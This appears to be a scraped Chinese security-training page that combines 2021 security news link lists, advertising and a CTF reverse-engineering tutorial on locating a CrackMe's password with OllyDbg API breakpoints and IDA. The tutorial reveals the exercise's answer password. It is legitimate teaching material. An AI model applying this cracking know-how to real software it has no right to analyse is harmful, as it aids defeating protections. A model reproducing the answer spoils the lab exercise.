https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html
6、微软向发现Microsoft账户劫持漏洞的研究员支付5W美元赏金
https://thehackernews.com/2021/03/a-50000-bug-couldve-allowed-hackers.html
7、VMware修补View Planner中的远程执行代码漏洞
https://www.securityweek.com/vmware-patches-remote-code-execution-vulnerability-view-planner
8、Google开始测试替代Cookie跟踪的方法
https://www.securityweek.com/google-vows-stop-tracking-individual-browsing-ads
9、研究人员发现Eclipse Jetty中存在DoS漏洞
https://www.technadu.com/dos-vulnerability-eclipse-jetty-urgent-updates/251662/
10、美国软件公司Mariana Tek泄露了用户的记录
https://cybernews.com/security/fitness-management-platform-mariana-tek-leaked-1-5-million-user-records/
CTF REVERSE练习之API断点
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
在逆向分析中经常会遇到输入表这个概念,输入表中保存的是在程序中调用的但定义在其他DLL中的函数信息以及对应的DLL信息。我们在程序中直接调用Windows API的时候,这些API都可以在程序的输入表中可以看到。
使用PEiD可以方便的查看程序的输入表结构,将程序载入PEiD后,点击主界面中的“子系统”,在弹出的“PE细节”中点击“输入表”就可以打开“输入表查看器”了,如图所示:
在实验《CTF REVERSE练习之API定位》中使用的方法其实就是通过输入表中的API来定位关键函数代码的。
虽然输入表中可以看到程序使用了哪些API,进一步通过OD的API参考断点,或者是IDA中的交叉引用就可以定位到程序在哪些地方使用了这些API,但是我们也可以通过动态调用的方式来消除输入表中的API特征。
消除了特征是不是我们就找不到了啊,那我们怎么做题呢
我们可以通过配合使用LoadLibrary以及GetProcAddress,我们就可以动态获取API函数的地址了,其中LoadLibrary用于加载动态链接库,GetProcAddress用于获取指定动态链接库中指定API函数的地址。动态调用的API无法通过OD的输入表API参考断点或者IDA的交叉引用来进行定位。
API断点
在OD中可以对特定的API设置一个断点,不管是直接调用的API还是动态调用的API。
在OD的反汇编指令窗口中按下Ctrl+G快捷键,在弹出的对话框中输入MessageBoxA,单击“确定”按钮后就可以来到MessageBoxA的函数代码了,我们对其第一条指令设置一个断点,即在77D507EA按下F2即可。
在OD左下角的Command窗口中输入bp命令也可以下断点,比如输入bp MessageBoxA,按下Enter就可以对MessageBoxA设置一个断点了。
下面开始实验。
打开蚁景网安实验室(www.yijinglab.com)搜索实验《CTF REVERSE练习之API断点》。
先看题目描述:
主机C:\Reverse\3目录下有一个CrackMe3.exe程序,运行这个程序的时候会提示输入一个密码,当输入正确的密码时,会弹出过关提示消息框,请对CrackMe3.exe程序进行逆向分析和调试,找到正确的过关密码。
这个CrackMe程序不再直接调用MessageBoxA这个API,主要考察通过API断点以及MessageBoxA的阻塞特性来定位关键函数代码的方法,以及在逆向分析中结合使用OD与IDA的方法。
这个实验中程序的外部行为与《CTF REVERSE练习之逆向初探》、《CTF REVERSE练习之API定位》两个实验的程序行为是一致的,因此这里不再赘述。
使用OD载入CrackMe3.exe程序之后,按下Ctrl+G快捷键,输入MessageBoxA定位到MessageBoxA的代码,在第一条指令按下F2设置一个断点,如图所示:
按下F9使程序执行起来,随便输入一个密码(如test)后单击“确定”按钮,程序将在MessageBoxA中的第一条指令断下,这时候依次点击OD菜单中的“调试”——“执行到用户代码”,如下图所示:
我们继续看题这时候CrackMe的错误提示消息框将会弹出来,我们点击消息框的“确定”按钮,程序在OD中会再次断下。这次是因为点击了“执行到用户代码”的原因,OD会在调用了MessageBoxA的下一条指令自动断下,如图所示:
可以知道004015F6处的call就是调用了MessageBoxA函数:
004015F6 . FF55 60 call dword ptr [ebp+60]
我们按F8进行单步跟踪,就可以看到一个奇怪的字符串,而这个字符串就是我们要找的过关密码,如图所示:
我们来用IDA进行分析在实验步骤一中,我们在MessageBoxA断下后,通过“执行到用户代码”回到CrackMe空间的代码,通过简单的F8单步跟踪,就很幸运的看到了过关密码。然而在实际调试过程中,可能需要跟踪很久才能发现一点蛛丝马迹,那么我们可以结合IDA的静态分析功能来加速我们的逆向过程。
在前面的分析中,我们知道在004015F6这个地址调用了MessageBoxA函数,现在使用IDA载入CrackMe3.exe,待分析结束后按下G,然后输入“004015F6”后点击OK按钮,就会自动跳转到004015F6这个地方了,如图所示:
我们在这里按下F5生成函数的伪代码。因为程序中已经对LoadStringA以及MessageBoxA这两个API进行了动态调用,所以这里的伪代码看起来也是非常怪异了,不过我们可以通过添加注释来帮助我们对程序的理解,如图所示:
可以看到程序使用了strcmp对输入的密码进行了判断,如果是HeeTianLab则弹出正确提示,否则弹出错误提示。
第三种利用MessageBox的阻塞特性定位关键代码。
我们知道MessageBox是一个阻塞的API,就是当调用这个API的时候,会弹出一个消息框,此时程序的代码执行流就会自动阻塞在调用MessageBox的地方,直到点击提示框上的按钮或者关闭提示框时,程序才会继续往下执行。
那么在程序弹出MessageBox的时候,我们可以在OD中让程序断下来,然后通过“执行到用户代码”来回到调用MessageBox的地方,这就是说MessageBox本身就类似于“断点”。
使用OD载入CrackMe3.exe,如果之前设置了断点,为了防止干扰,我们需要先清除掉之前设置的断点。通过OD的菜单项“查看”——“断点”可以打开断点窗口,然后通过右键菜单来删除已经设置的断点,如图所示:
断点清理完毕之后,按F9运行程序,随便输入一个密码(如test)进行测试,在弹出消息框之后不要关闭消息框,在OD顶部的工具栏中点击“暂停”执行按钮(或者按F12快捷键),程序就会自动断下,如图所示:
这时候依次点击OD菜单中的“调试”——“执行到用户代码”, 我们点击消息框的“确定”按钮,程序在OD中会再次断下。这次是因为点击了“执行到用户代码”的原因,OD会在调用了MessageBoxA的下一条指令自动断下,如图所示:
接下来和实验步骤一的情况类似了,F8单步跟踪就能看到密码了。
逆向真的是一个很复杂的知识点,想要掌握需要花不少时间,这次实验和上次学习的API定位结合的很紧,有了API定位基础本次实验也能比较好理解。
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
网络安全日报 2021年03月03日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Google修补了Android中的高危远程代码执行漏洞
https://www.securityweek.com/google-patches-critical-remote-code-execution-vulnerability-android
2、“ Unc0ver”最新版本利用了1月份苹果修复的漏洞
https://www.securityweek.com/new-unc0ver-jailbreak-uses-vulnerability-apple-said-was-exploited
3、法国跨国乳制品公司Lactalis遭网络攻击
https://securityaffairs.co/wordpress/115173/hacking/lactalis-cyber-attack.html
4、Ryuk Ransomware通过SMB共享进行自我传播
https://threatpost.com/ryuk-ransomware-worming-self-propagation/164412/
5、电子售票平台Ticketcounter数据库在黑客论坛公开
https://www.bleepingcomputer.com/news/security/european-e-ticketing-platform-ticketcounter-extorted-in-data-breach/
6、 Gootkit RAT利用SEO通过受损网站传播恶意软件
https://thehackernews.com/2021/03/gootkit-rat-using-seo-to-distribute.html
7、ObliqueRAT恶意软件利用图片隐写加载攻击载荷
https://threatpost.com/website-images-obliquerat-malware/164395/
8、马来西亚航空披露长达九年的数据安全事件
https://www.zdnet.com/article/malaysia-airlines-suffers-data-security-incident-spanning-nine-years/
9、UHS披露在去年9月网络攻击中损失6700W美元
https://www.securityweek.com/universal-health-services-takes-67-million-hit-cyberattack
10、Perl.com域在2020年9月已被黑客劫持
https://www.securityweek.com/hackers-control-perlcom-domain-months-hijack
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

